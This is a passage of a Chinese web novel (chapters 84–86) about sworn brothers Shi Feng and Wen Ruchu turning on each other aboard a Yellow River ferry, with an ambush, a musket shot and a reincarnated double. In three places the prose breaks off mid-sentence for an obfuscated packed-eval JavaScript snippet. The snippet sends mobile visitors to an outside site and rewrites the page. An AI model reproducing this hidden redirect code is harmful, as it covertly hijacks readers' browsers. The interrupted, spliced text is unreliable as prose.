温如初懒懒靠在吴王靠,双臂随意地搭在扶手,姿态松散却优雅。他微微眯着眼,仿佛刚刚从梦中醒来,听见时枫的话也不恼,挑起嘴角,睐着身材魁梧的男人,似笑非笑道:“我还以为,你这次是彻底打算眼不见心不烦,连话都不愿跟我说。今儿个吹的是什么风,竟把我们时大将军吹了回来?” 时枫冷笑一声,双手负在身后,居高临下地睨着温如初,声音低沉却透着几分讥诮:“我跟你吵架,又不是一日两日。你小时候那张嘴有多贱,你自己没点数?当年我打了你多少次,连你自己都数不清吧?哪次不是你哭着喊饶,我才大发慈悲饶了你?” 温如初闻言哈哈大笑,笑得肩膀微微抖动,“你还有脸提以前?那时候我才多大,骨瘦如柴,胳膊细得像个豆芽菜,哪里打得过你这头浑身肌肉的大黑牛?你还逼着我叫你哥哥,说什么会保护我。可最后呢,每次都是你欺负我,还把锅甩得干干净净。” “放屁!”时枫牛眼一瞪,怒气蹭地冒了上来,撸起袖子摆出干架的架势,“我比你大俩月,让你叫声哥哥不对吗?你扪心自问,哥哥可曾亏待过你?你小时候被邻家那帮兔崽子欺负,是谁帮你出头?要不是我,你早被打成瘸腿走不了路。还敢说我欺负你,你个没良心的小王八蛋!” 温如初看他怒气冲冲的模样,反倒更觉得好笑,唇角的弧度愈发扩大。他慢悠悠地拍了拍衣摆,眉眼间尽是调侃的意味:“是是是,哥哥教训得是。弟弟知错了,弟弟年幼无知,冒犯哥哥多次,还请哥哥海涵。” 说着,他竟端起衣袖,慢悠悠地拱手作揖,模样极尽滑稽,活像个被官差逼得没法子的落魄秀才。 “算你识相。”时枫看着他那副服软的模样,鼻子里冷哼一声,却没再发作。他别过头,嘴角微不可察地勾起一丝弧度,“总算还记得谁是哥哥。再敢顶嘴,看我不揍你。” 温如初心里忍不住暗笑,却懒得再回嘴,顺手捞起桌上的白玉茶盏,低头抿了一口。茶水清冽,倒映着他眉眼微挑,唇角轻勾,分明是又赢了一局的模样。 阳光落在两人身上,一如多年未曾改变的岁月。谈起童年趣事,二人意犹未尽,你一嘴我一嘴,谈到最后,两人都陷入了沉默,半晌不再言语。 沉默在两人之间蔓延,像冬日清晨缓缓升起的雾气,轻而淡,却又遮蔽了眼前的景。船檐下的风铃随风微晃,发出细碎的声响,仿佛要替他们说些什么,却终究化作无声。 时枫负手立于栏杆前,任江风吹过耳畔,吹乱了衣袂,也吹散了方才谈笑的余韵。船桨划水的声音一下一下,像沉闷的锣鼓,将他从记忆中拉回现实。 少年时的欢笑似江边春水,清澈而奔腾,一路拍打着堤岸,卷起满天碎光。可那水终究会流远,留下一道干涸的河床,叫人伫立其间,空怀追忆。 “那时候,”温如初低声开口,嗓音带着几分喑哑,“真好啊。” “嗯。”时枫答得含糊,低头盯着脚下的水纹。阳光落在河面上,碎金般的光芒晃得人眼酸,却掩不住黄河水本身的浑浊。 两人再度无言。 时间从来不吝啬它的刀锋,刀刀劈开的是记忆,也是曾经不以为意的情谊。那些年头里不需要言说的默契,如今却在沉默中渐行渐远。 人这一生,像渡船过河,彼此同行的时光不过短短一程。年少时以为同舟共渡便能一生相伴,却不知这船总要靠岸,岸一旦分离,再多的情谊也难敌现实的洪流。 江风吹浪,云根翻动。 温如初站起身,随手拂了拂月白丝袍上的微尘,动作慵懒从容。他嘴角噙着一抹浅笑,似是自嘲,又似挑衅,缓缓开口道:“其实,你若肯主动跟我道声‘对不起’,承认你的错,我是不会跟你计较什么‘夺妻之恨’的。” 那双勾人的桃花眼微微一挑,眼波流转,带着几分戏谑的锋芒,“有句俗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679843|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话怎么说的来着,兄弟如手足,妻子如衣服。你我鹡鸰在原,又何必因一件衣服生分?你真以为我会在心里记恨你吗?” 这话听着轻飘飘,仿佛毫无分量,可却像一根极细的银针,直直刺入时枫的心头。他愣了一瞬,随即感觉胸口涌起一股无法言说的郁结。他看着眼前人,明明是熟悉至极的模样,却在那一刻恍若隔世。 他忽然明白了一件事——他们,再也回不到从前了。 时光如同黄河的水,带走了那些纯粹与简单,只留下浑浊的激流与无尽的漩涡。年少的承诺、无尽的欢笑,在成长的洪流中渐渐被冲刷成了细沙,轻轻一握,便从指缝中滑落。 时枫目光一沉,冷笑声从喉间溢出,似刀锋般凌厉,“道歉,你也配?”他话音低沉,却咄咄逼人,“我说过了,此生非娶苏绾不可。你也不必在我面前假惺惺地装什么老好人,有什么怨气,尽管冲我来便是!” 他一字一顿,冷硬如刀,最后四个字咬得格外重:“苏绾,我护定了。” 说完,男人转过身去,衣袂翻飞间带起一阵凌厉的风。阳光从他肩头洒下,仿佛将人分割成两半——前方是他义无反顾的执念,身后却是再也回不去的过往。 温如初桃花眼眸剪了剪,垂眸望着自己纤尘不染的月白袍摆,唇边的笑意渐渐淡了。许久,他抬起头,看向窗外的滔滔江水,眸中似有千般情绪,最终都化作一片平静。 “兄弟如手足,妻子如衣服……”温如初低声重复了一遍,声音轻得像是自言自语,随即笑了一笑,笑意里有三分自嘲,七分释然。 抬手把弄着白玉茶盏,低叹一声:“看来,这衣服我是换不回来了。” 话音刚落,温如初脸上的从容笑意瞬间凝固,随即被冷厉的戾气取代。他猛地抬手,将手中的白玉杯狠狠掷向地面,清脆一声,“咣当”,玉杯碎裂成无数粉齑,散落在雕花地板上,割裂了尚存的一丝温情。 门外传来急促的脚步声,伴随着一声沉喝:“少主有令,杀无赦!” 紧接着,渡船四处爆发出震天的呐喊。那些伪装成仆从的暗卫骤然现身,刀剑在手,直扑毫无防备的船员。原本风平浪静的渡船,瞬间化作一片暗红的地狱,血腥气息在阳光下弥漫开来,刺得人眼眶发酸。 时枫脑中轰然作响,仿佛被人迎头痛击。他终于明白,自己早已落入对方精心布下的圈套。 男人拳头握得死紧,青筋暴起,“你是故意的,对不对?让我选择渡船,是因为官渡不好下手。” 温如初脸上的冷意,融化为一种近乎漫不经心的笑意。他随手整了整衣襟,淡淡道:“对,也不对。” “我算准了你会与我反目成仇,但也算准了你绝不会在官渡动手。因为你时枫不是那样的龌龊小人。你若想杀我,必然会选择一个无人打扰的地方,这样才对得起你的良心。” 修长指尖轻轻敲了敲桌案,声音不疾不徐,“所以,我便顺水推舟,为你安排好场地。既然是兄弟,岂能不替你多考虑几分?瞧瞧我这个做兄弟的,多么体贴周到,为你省却了多少麻烦。” 说到最后,他竟低低笑了起来,那笑声轻柔,夹杂着几分说不清的惋惜与怜悯,如刀刃割在时枫的耳膜上。 时枫感到胸腔发闷,像是一团烈火烧得炽热,却又被无情的冰水浇灭。他不敢相信,自己千算万算,竟没料到温如初会如此果决,先发制人。 男人咬牙切齿,恨声低吼,“你竟用这种下作的手段对付我!” 温如初抬眼看他,目光如霜:“下作?你既想杀我,便该想到,我绝不会束手待毙。时枫,你想要我这条命,可以啊,就看你有没有本事拿走。” 阳光透过窗棂洒在两人之间,血色映入眼帘,交错的目光如刀剑相击,铿锵有声。 二十年兄弟情谊,至此崩裂成灰。 84. 会面 杀声动地,惊雷霹雳。 时枫扫了一眼门外,形势紧急,他不可耽搁太久,须得尽快拿下敌人才是。倘若迟滞半分,都会造成过多颜家渡人员伤亡。 男人咬了咬牙,“你就这么笃定,能杀得了我?” “凭我一人,确实孤掌难鸣。但夜路漫漫,岂能独行?” 说着,温如初展开宽大袖袍,轻轻拍了两下掌。 三道身影从屏风后闪现,为首的正是侍从远舟。几人浑身透着一股肃杀之气,显然都是经过千锤百炼的精锐之士。 时枫嗤笑一声,眼中尽是轻蔑:“这些个杂碎,便是你所谓的帮手?你未免也太高看了自己。” 温如初唇角的笑意淡得像一抹云烟:“不试试,又怎知不行?” 言毕,侧首甩了一个眼色。 远舟稳稳站定,马步扎得如磐石般牢固,长剑微微一抬,剑尖直指时枫,寒芒在阳光下闪动,锋锐得让人心惊。 时枫缓缓抬手,按住腰间束带,随着“锵”的一声轻响,抽出一柄鱼鳞软剑。剑身如水波般闪动着银光,仿佛是一条蛰伏的银龙,此刻终于苏醒,杀气凛然。 “既然如此,那便让你见识见识,我时某人是如何以一敌百。”男人语气轻描淡写,却自带一股无法忽视的霸气,视眼前这些人为草芥蝼蚁。 温如初揣着袖子,调侃道:“我真是越来越欣赏你了。只可惜,这世上越是璀璨的东西,越是容易破碎。” 他顿了顿,声音像是冬日寒风拂过:“不知今日,是谁要碎在谁手里。” 远舟先发制人,手中长剑猛然刺出,直取时枫的心口,剑尖带起一阵凌厉的风声。 时枫脚下错步避开,鱼鳞软剑如游龙般横扫,半空中划出一道银光,直逼远舟腰间。 远舟急忙后撤一步,长剑竖起格挡,险险挡住时枫的攻势。 后方的两名随从左右包抄,长刀一左一右斩向时枫的两侧,意图形成合围之势。利刃在空中交错,发出刺耳的金属撞击声,火花四溅。 时枫脚下发力,猎豹般猛扑向左侧随从,鱼鳞残影轻轻一闪,那人甚至来不及发出惨叫,便倒向血泊之中。 右边随从刀口自天而降,时枫身体向后翻滚险险躲过一击,反手一剑斜斩而出,精准地刺入敌人胸口,将其击倒在地。 时枫还未站稳,远舟的长剑已然迎面刺来。时枫反应极快,鱼鳞软剑横挡身前,柔韧剑身被砍得震颤不止,发出噌棱棱的波动声响。 两人剑锋相交,僵持片刻。远舟怒吼一声,长剑威力翻倍压制。 时枫忽然松手,鱼鳞软剑空中旋转,剑锋趁势绕过远舟的长剑,风驰电掣般斩向他的手腕。 远舟急忙撤剑,终究还是慢了一步,腕部被划出一道深深的伤口,鲜血喷涌。 时枫不等对方喘息,一剑刺向远舟的肩膀。远舟闷哼一声,踉跄后退几步,手中长剑支撑着身体,跪倒在地。 温如初低眸觑着战败的勇士,不急不躁,面色仍旧保持从容淡定,局势正按照他所预估的情况,顺利发展。 一切尽在掌握中。 接下来,就看他的谋士,如何抛出“神来一笔”,帮他破局。 他缓缓鼓起掌,“不愧是大名鼎鼎‘不世出卫将军’,果然没有让我失望。” 鱼鳞软剑滴着鲜血,男人剑指对方,冷冷道:“还有什么?全都放马过来!” “没有了。”温如初上前凑近一步,伸手推开剑锋,无可奈何道:“只剩我这手无缚鸡之力的书生,如何与武将比拼?” 他微微叹口气,神情落寞,倒真好像黔驴技穷了一样。 然而时枫根本不理睬。 对方既要起事杀他,怎可能动用区区仨小卒,也太瞧不起他了。 时枫啐了一口,剑锋重新指向温如初,“出剑。”语气冷得仿佛淬了冰。 温如初的剑术,时枫年少时领教过几次,虽说根基薄弱了些,但剑势耍起来还是有模有样的。偶尔他走神倦怠了,也有被对方偷袭得手的时候。 不可小觑。 温如初的天分,不比自己差。此人能文能武,城府极深。他上半辈子能有幸做兄弟朋友,等于给自己免去一位强有力的劲敌。 可如今,世道变了。 温如初却没有与之决斗的意思,他转身趸回吴王靠,建议道:“不如我们坐下来好好谈一谈。” 慵懒惬意的神情,丝毫没有紧张对峙的氛围,令时枫感到有些迷惘。 也许,温如初跟自己一样,也在等待一个恰好的时机。 时枫抬眸扫向窗外,逆流而上的船只与河岸并行不动,河对岸景色一览无余。水面上浊浪翻涌,隐隐透出一种令人不安的沉寂。 不知从何时起,渡船已悄悄转换航向,船头逆流而上,且保持与水势相同的速度。 别人怎么样他不管,他的时机到了。 男人收起鱼鳞剑,冷冷地开口:“废话少说,有人要见你。” 闻听此言,温如初眼神一滞。 那一瞬间,他在心里思索一百种可能,猜测时枫口里的“有人”,究竟是谁。 他直觉上认为是苏绾,可转念一想,时枫也不至于愚蠢到将挚爱拱手让人的地步。 按照计划,此刻他的谋士该现身说法,与他合力擒拿时枫才对,可先生却不见踪影。 哪里出了岔子。 温如初按捺心中不安,勉强扬起笑容,带着些试探意味:“哦?谁这么大的面子?” 果然,下一瞬,时枫剑尖直指后方落地门外,语气不耐:“备着望远镜。” 温如初脸色微变,却还是强撑镇定,从袖中取出望远镜,伸开管套,转身向外看去。 那一瞬,望远镜里映出的景象让他心脏骤然提起,呼吸几欲停止,白皙脸颊瞬间没了血色,眸底尽是慌乱不堪的狼狈。 对岸垂柳依依,河堤静谧如画,藤椅上端坐一人。青纱长袍随风轻扬,东坡巾下是一张清风朗月的俊美面庞。那人目光如炬,带着冷静而洞悉一切的气息,仿佛洞穿了世人所有的伪装与心机。 秦欢。 温如初死死攥紧望远镜,指节发白。他与秦欢从未谋面,只从谋士口中听过关于此人的种种描述——胆小如鼠,软弱无能,是个窝囊废。然而此刻,对方的存在却让他背脊发凉,连呼吸都乱了节奏。 为什么?! 秦欢、时枫。 一个是末路贵妃的子侄;一个是落罪王爷的世子。 两个完全没有交集的人,究竟是何时凑到一起的? 因为……苏绾? 逻辑链彻底断裂,线索全部崩坏,世界化为一片迷茫空白。 秦欢忽然抬起右手,向他做了个倒竖拇指的手势,脸上挂着一抹意味深长的微笑。那笑容温和从容,却刺目得让温如初几乎失手握不住望远镜的把柄。 一瞬间,他知道自己完了。 更可怕的是秦欢身边忽然显现的第二道人影。 那人身着竹月色襕衫,身材挺拔,面容隽秀,英气逼人,眼神中带着一抹冷冽的锐意——正是小侯爷萧染。 萧染。 温如初心底陡然掀起惊涛骇浪,还未来得及细想,二人如何联合设置这一连串的珍珑棋局,那边萧染已然露出剪在背后的手臂,手中赫然端着一杆精致的镏银鸟铳。 “不妙!” 温如初心头警铃大作,毫不犹豫地起身朝侧旁一跃跳开,企图躲避枪口。 然而人力如何能快过火药爆发的威力? “砰——砰——砰!”三丸连射,震耳欲聋的枪响划破长空。 温如初感觉右臂一震剧痛,随即血花迸溅,火药炸裂之力直接撕裂了他半条袖子。剧烈的疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14705959|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛让他眼前一黑,几乎瞬间便失去意识,身子无力地倒在地板上。 河岸之上,垂柳拂堤,浊浪翻涌,黄河水携着千百年的沉沙与浑浊奔流而去,无声诉说着积攒的波诡云谲。烟雾在空气中缓缓散开,混杂着火药味的余韵,带着一丝灼人的炽热感。 萧染收起鸟铳,随意一吹枪口,眉梢微扬,显出几分得意。可未等这得意之色在脸上挂稳,他便被呛得咳嗽连连,咳得肩膀直抖:“这玩意儿,还真是劲大得吓人!” 秦欢稳稳坐在藤椅之上,清风拂过青纱衣袍,连带着烟火的灼热与血腥也一并吹散。他斜睨了萧染一眼,揶揄道:“这么‘远’的距离,你居然还能打中一颗子弹,这准头,着实让我刮目相看。” 萧染拂了拂胸口残余的烟灰,急忙为自己辩解:“那船晃来晃去的,我这眼睛都快被晃花了!再说,我又不是神机营的神枪手,打成这样已经很不错了!” 秦欢抬眼望向滚滚的黄河水,眸底泛着对结果的从容淡定,“早知道如此,我还不如请春蝉来。她平日打猎随手就能打到兔子,比你这准头高出几倍不止。小侯爷的本事竟如此‘别具一格’,倒真让我开了眼界。” 萧染噎得半天说不出话,气得一甩袖子,将鸟铳随手一扔,丢进旁边的草垛里,恼羞成怒道:“既然嫌我不中用,那你自己来吧,我也懒得奉陪了。告辞!” 他迈开步子就要走,却被秦欢一声低喝拦住。 “慢着。” 萧染转过头,眉间满是不耐,“怎么?那家伙都被你打成筛子了,还能翻出什么浪花不成?” 秦欢轻轻抬手,指向河心翻滚的浊浪,“你可曾见过黄河决堤?黄河表面看似平静,实则低下藏着不为人知的暗流,一旦崩溃,便可吞噬万物。” 萧染微怔,眉头皱得更紧:“你是说……” 秦欢眯了眯眼,“温如初就是那条暗流。看似无力回天,但只要稍有机会,便能卷土重来,甚至绝地反噬。与他为敌,永远不要掉以轻心。” 萧染看了看水,又看了看秦欢,感到十分不解。他只当是秦欢的老毛病又犯了——惯爱长他人志气,灭自己威风。 他冷哼一声:“要是他真还能爬起来,那我今日这张脸算是丢得彻底了!” 秦欢微微一笑,却未答话。他的目光重新落回渡船,仿佛在等待,亦或是在谋算着什么。 * 渡船主厅内一片狼藉,白玉茶盏摔得粉碎,残片散落一地,两具尸体横卧于血泊中,殷红的鲜血在波斯地毯缓缓渗透,茶渍与血迹交织,模糊得令人难以分辨识度。 厅内角落,户部侍郎温如初昏厥倒地,月白锦袍染满血污,右臂血肉模糊不堪,伤口边缘焦黑,显然是火铳所致。他的侍从远舟强忍肩膀上的剑伤,跪在一旁忙不迭地替主人包扎,嘴里不停念叨:“少爷,你快醒醒啊!少爷,你不能就这么倒下!” 另一侧,时枫站在乱局之中,目光冷冷地扫过主仆二人,手指不自觉地掩在嘴边,咬着指甲。他注视着眼前的景象,胸口翻涌着说不出的复杂情绪。 他从未想过,秦欢竟会出手如此果断狠辣。这一招,干脆、决绝、毫不留情,令人心惊胆寒。 时枫一直以为,秦欢所谓的“大计划”,不过就是隔岸观火,站在安全距离之外向温如初释放些威慑之意罢了。 他甚至还暗自嘲笑秦欢的懦弱胆小,以为这人只会虚张声势,是个不折不扣的窝囊废而已。 他错得离谱。 那一枪果决、狠戾,昭示着秦欢对仇敌毫不妥协的决心与立场。心中究竟怀着怎样的仇恨,才能驱使秦欢下如此重手。 时枫忽然意识到一个不争的事实——秦欢的手段不仅对温如初有效,对他时枫同样毫不含糊。今日温如初倒下了,明日他时枫的下场,怕也不会好到哪里去。 秦欢,是个狠角色。 85. 翻牌 温如初瘫坐在墙角,背后的木墙冰凉刺骨。月白长袍被血水浸透,湿漉漉地黏在身上,宛如一张破旧的画卷,斑驳暗红的血迹如铁锈般刺目。他的发髻散乱,几缕发丝垂落在鬓角,混杂着血污与灰尘,整个人仿佛被岁月凌迟成了一尊残破的雕像。风从窗棂的破洞灌入,撩动他的衣袍,也映照出他如死灰般的神情。 时枫站在风中,衣袂翻飞,周身笼罩着冷冽的煞气,宛如一柄刚出鞘的利剑。他的目光沉沉,像暗夜里蛰伏的猛兽,随时扑向猎物,将其撕裂啃啮。 温如初抬眼望向他,嘴角牵出一抹疲惫的笑意:“你赢了。” 时枫微微眯眼,薄唇掀起一抹冷笑:“急什么?这才刚开始。” 他上前一步,单膝蹲下,垂眸与温如初对视,凤眸幽深如寒潭,语气冰冷如刀:“我问你,是谁下令害死时樾?” 温如初的瞳孔微缩,脸上掠过一丝慌乱,却很快掩去。他冷冷一笑:“诈我?你还嫩了些。” 时枫冷哼一声,手一扬,揪住温如初的衣领,威胁道:“你有一封密函,记录了你与阁老之间的利益交易沟通,原本藏在户部衙门的密室。可你一向谨慎,怎会将性命攸关之物放在离自己太远的地方?” 指尖按上温如初胸前的衣襟,触到隔层中隐隐的硬物,眼中闪过寒光。利刃一挑,布料应声而裂,一封折叠整齐的密函露了出来。 时枫展开信纸,检视一番,眼底的冷意愈发浓重,唇角勾起一抹讥讽:“若要人不知,除非己莫为。”说着,他将信纸重新叠好,揣进自己的怀里。 眼见事情败露,温如初目光一黯,如同挣扎的困兽终被压倒。他抹去嘴角的血渍,靠着墙缓缓坐直,声音低哑如钝刀刮雪:“你心里不是早有答案了吗?还来问我做什么?” 时枫眸光一沉,“所以,是‘上面’想要除掉时樾?” 温如初沉默片刻,叹息一声:“是他越界了。时樾查了一些不该查的东西,上面容不下他,可他偏偏不肯罢手。” 时枫逼问:“什么东西?” 温如初摇了摇头:“凭我的身份与资历,连真相的边角都触碰不到。但我知道,这件事与你父亲绥靖王脱不开干系。” 他抬眸直视时枫,眸底泛着寒光,“想想看,时谦为何获罪,又为何甘愿困守西北,再不回京?” 时枫心神一震,感觉胸口像被重锤砸过,连呼吸都微微滞涩。 窗外,狂风卷起,破碎的窗纸被掀开,冰冷的雨水飘入,滴落在温如初的脸侧,也落在时枫的靴尖。 当年战场风云变幻,时樾本已占尽先机,却被一道调令指向深林,误入敌军伏击,麾下一百八十条性命无一生还。时樾单枪匹马杀出重围,却最终在荒漠中被匈奴围剿砍杀。 英雄断腕,天意难违。 温如初轻叹一口气,“时樾之死,不是战场失误,而是早已布下的局。上面要时樾死,也要时家彻底绝望。” 时枫缓缓站起,冷意从眼底蔓延开来:“那封调令,是你递上去的?” 温如初垂眸道:“我不过是顺势而为,附议了一封奏折,随了上面的意罢了。” 时枫冷笑一声,手指缓缓收紧,声音仿佛从喉间挤出:“顺势而为,好一个顺势而为。” 他转身从腰间抽出一条细绳,冷冷抛向远舟:“绑了他。” 远舟微微一颤,眼神复杂地看了温如初一眼,终究低头拾起绳索,将主人的手脚捆缚。而温如初低垂着头,没有反抗,像一具破败的傀儡。 时枫负手而立,声音如寒风凛冽:“带回京城。我要他当众伏罪,承认他害死时樾的真相。” 他心中已有算计:朝廷定不会坐视温如初落败,必然有人出面斡旋。届时,谁替温如初求情,谁就是幕后主使的帮凶。 窗外,黄河浊浪翻涌,涛声如雷。时枫抬眸望向远处,眼中燃烧着压抑的烈焰——血债未清,仇怨未平。穷尽这一生,他都不会放过他们。 “久违了,时将军。” 一道低沉而熟悉的嗓音,隔着厚重的舱门缓缓传来,仿佛暮春时节的劲风,带着难以言喻的熟稔与疏离。 厅内的喧闹瞬间静止,所有人都不约而同地停下动作,循声望向门口。 时枫眉头微蹙,心底涌起一股莫名的警觉。这声音透着几分古怪,像是故意压低了嗓音伪装,那若隐若现的熟悉感,令他感到十分诧异又隐隐不安。 反倒是温如初,在那声音响起的一瞬间,整个人都像被点亮了,仿佛遇见了救星一般,狂喜道:“先生,您终于来了!” 正当时枫思忖,这个“先生”又是何许人也之际,封闭的房门突然被一股强大的力量猛然踹开。 只听“砰”的一声闷响,尘土飞扬,光线刺破船舱的阴暗,宛如利剑劈开沉寂的混沌。逆光之中,两道身影并肩而立,面容朦胧模糊,看得不很真切。但他分明瞧见一袭月白锦袍,以及旁边身穿粗布衣裳的杂役。 他来不及细想,那月白袍子的主人是谁,那跑腿的杂役又是不是他的妻。 一瞬间,时枫感到一种难以言喻的不真实感,仿佛自己的灵魂脱离了□□,宛如堕仙重归天界,在苍茫宇宙的高处俯视芸芸众生。 梦境的出现,让他对轮回往生产生了兴趣。前几日行军途中,他因旅途枯燥,从温如初的书箱里翻出几本佛经,随手翻阅。那些晦涩的经文虽不易理解,却莫名引起了他的一些思索。 轮回往生,因果相续,这些字眼仿佛蒙尘的镜面,折射出他心底深处的某些模糊影像。他曾不以为然,却又隐约感到这些看似虚妄的道理,与眼前的命运纠葛,似乎有着难以切割的联系。 ——“欲知前世因,今生受者是;欲知后世果,今生作者是。” ——“生死流转,无有穷尽;生灭不已,轮回无休。” ——“一切众生,轮回不息,唯有证涅槃者,方能永脱。” 那些平静的文字,似乎刻意要点醒他——前世的因果轮回,今生的爱恨纠葛,皆有其根由与归宿。执念未断,便会生生不息;业力未尽,便无法摆脱束缚。 他从未相信过轮回,向来以为那不过是佛家用以蛊惑人心的虚言。然而此刻,站在门口的男子,却如同命运亲手落下的一枚棋子,打破了他所有的认知。 时枫凝望着月白锦袍的男子,目光未曾移开片刻。无论是外貌的轮廓,眉宇间的冷意,还是那举手投足间的从容气度,都与此刻被捆缚在地的温如初如出一辙。只是,眼前这人的容颜隐隐多了几分沧桑,鬓边似乎染上了岁月的痕迹。 一股寒意自心底蔓延开来,时枫的指尖微微蜷缩,脑海中浮现出一个匪夷所思的念头——眼前之人,不是别人,正是上一世的温如初。 他的胸口骤然一紧,像是被什么无形的力量攫住,呼吸也变得沉重起来。若真是如此,那么眼前这一切,又究竟是怎样的因果纠缠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731312|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决了第一个难题后,时枫的目光转向旁边那个瘦弱的杂役。这一次,他无需多加思索,眼前狼狈不堪的人儿,分明就是他的挚爱,他的苏绾。 可是……怎么会是这样? 他的阿绾,从来都如水边的青莲,清丽温婉,可眼前的苏绾却截然不同。两眼空洞无神,面色苍白如纸,汗水将鬓发打湿,一缕缕贴在额角,散乱如枯草。她的唇边隐约可见血迹,牙齿紧咬,唇角微微颤抖,仿佛压抑着巨大的痛楚。双手死死攥成拳,指节发白,身子佝偻着,含胸驼背,整个人缩成了一团,像极了被逼入死角的困兽,带着一种下意识的防御姿态。 时枫的喉间一阵紧缩,他下意识地唤道:“阿绾……” 可苏绾却毫无反应,仿佛未曾听见,又仿佛刻意将一切声息隔绝在外。她蜷缩着瘦弱的身体,如同风中瑟缩的枯叶,将自己紧紧裹在一层无形的壳里。 时枫的目光落在她身上,锋利如刀刃,想要剖开这层壳,探寻她深埋的痛楚,而她却像一座沉默的石像,丝毫不为所动。那双曾盛满星光的眼,蒙上了一层浓重的灰暗,空洞得让人不忍直视。 时枫的喉咙微微发紧,这样的模样,他并非第一次见到。端午那日,醉仙楼里,她癔症发作,满眼尽是疯癫与混乱,熟悉的面孔在她眼中都成了幻相,连他的声音也无法唤回她的一丝清明。 他的手微微颤抖,心口像是被一只无形的手攥紧,疼得喘不过气。他的阿绾,究竟经历了怎样的痛苦折磨,才会变成这副模样。一瞬间,他觉得自己从未离她如此遥远,也从未如此靠近真相。 正当时枫的思绪如乱絮般飞散,陷入无尽的幻想与自我怀疑之际,门口的月白锦袍男子轻轻抬手,向远舟使了个眼色。 远舟心领神会,快步走上前,将刀锋架在苏绾的脖颈,锋刃寒光逼人,逼得时枫不得再上前一步。 温如初神情陡然一振,像是抓住了救命稻草,激动地说道:“先生,你怎得如此迟来?在下险些丧命于此,白白断送了大好前程!” 那人淡淡瞥了他一眼,语气不疾不徐:“此事说来话长,途中被苏绾这贱人拖延了片刻,差点误了大局。” 说罢,他走到温如初身边,低头看了看他满是血污的右臂,目光微微一顿,随即摇了摇头,声音里透着一丝冷意:“伤得这样重,恐怕你再无机会踏入皇宫半步了。” 温如初垂下头,满脸羞愧:“我中了秦欢的奸计,被他与萧染联手坑害,幸而侥幸逃得一命,否则只怕已身首异处。” 那人听罢,目光微敛,语气中透出几分沉思:“没想到秦欢竟有这般通天逆转能耐,倒是我小看了他。” 话音一转,那人环视一周,语气变得低沉且意味深长:“既然今日众人齐聚于此,便也没什么好隐瞒的了。” 他稍稍顿了顿,继续说道:“初次见面,请容我介绍一下自己,本人温念,并非尘世俗人,而是前世修仙得道,跳脱六道轮回之堕仙。” 这番话一出,船舱内的气氛顿时凝滞,众人神色各异。 温念却不理会,冷冷扫了一眼苏绾,声音越发清冷:“而她,苏绾,也非寻常之辈。她是重生之人,拥有今生的肉胎,前世的记忆。” 他语气一顿,仿佛要让这句话的分量压进每个人的心里,片刻后,又加紧释放另一波炸雷,“秦欢,也应如此。” 短短数语,却如同惊雷般炸开,将船舱内的空气劈得四分五裂。 86. 温念 早些时候,船尾杂物间。 透过指甲盖大小的猫眼窟窿,苏绾看见一道修长瘦削的背影。那人身着月白锦缎长袍,袍上绣着繁复的卍字符文,随着闲雅步履微微翻动。三千青丝高高束起,发髻间插着雕花白玉簪,映着微弱的光泽。肩背挺拔,线条流畅,显现出天生的清隽气质。 苏绾的呼吸倏然一滞。 这道身影,苏绾再熟悉不过。他一向偏爱华服,举手投足间自带芝兰玉树的风姿。哪怕只是一眼背影,她也能立刻辨认出,这分明是温如初无疑。 他为什么会出现在这里? 温如初方才提及的,“摔杯为号”,“全部杀掉”等字眼,分明是在暗示,他已在主厅布下杀局,意图置时枫于死地。 而远舟的言辞,却给这场阴谋添了几分诡谲的意味。他一口一个“少爷”,一口一个“先生”,目标指向了两个截然不同的人。这种不协调的错位感,让人心头隐隐生出不安。 这究竟是怎么回事? 苏绾脑中思绪纷乱如飞絮,每一个细节、每一处线索都像断了线的珠子,散落在记忆的角落,任她如何拾捡,也难以串联成清晰的脉络。 忽然,仿佛有一道闪电划过,她猛地止住了混沌思考,灵台在这一瞬间前所未有的清明。随直而来的冷意自心底升腾,蜿蜒攀上四肢百骸,全身上下都透着凉意。 这不是意外,也不是巧合。 这是一个局。 一个精心编织、步步为营的双簧局。 表面看似混乱无序,但若将所有线索归于一个大胆的假设之下…… 假设,这个人并非真正的温如初,而是一个伪装成温如初、戴着面具的陌生人。 一切,便豁然开朗了。 来不及细想破局之道,时枫命悬一线,危在旦夕。当务之急,她必须全力阻止这场阴谋,她没有丝毫犹豫的余地。 苏绾眼底闪过决然之色,她气沉丹田,将毕生所学凝于一瞬,模仿时枫的语气,试探性唤道:“温如初——” 声音夹杂着黄河水浑浊的腥气和震慑,直直地传向月白锦袍背影。 那人脚步一顿,身形一震,随即缓缓转身。 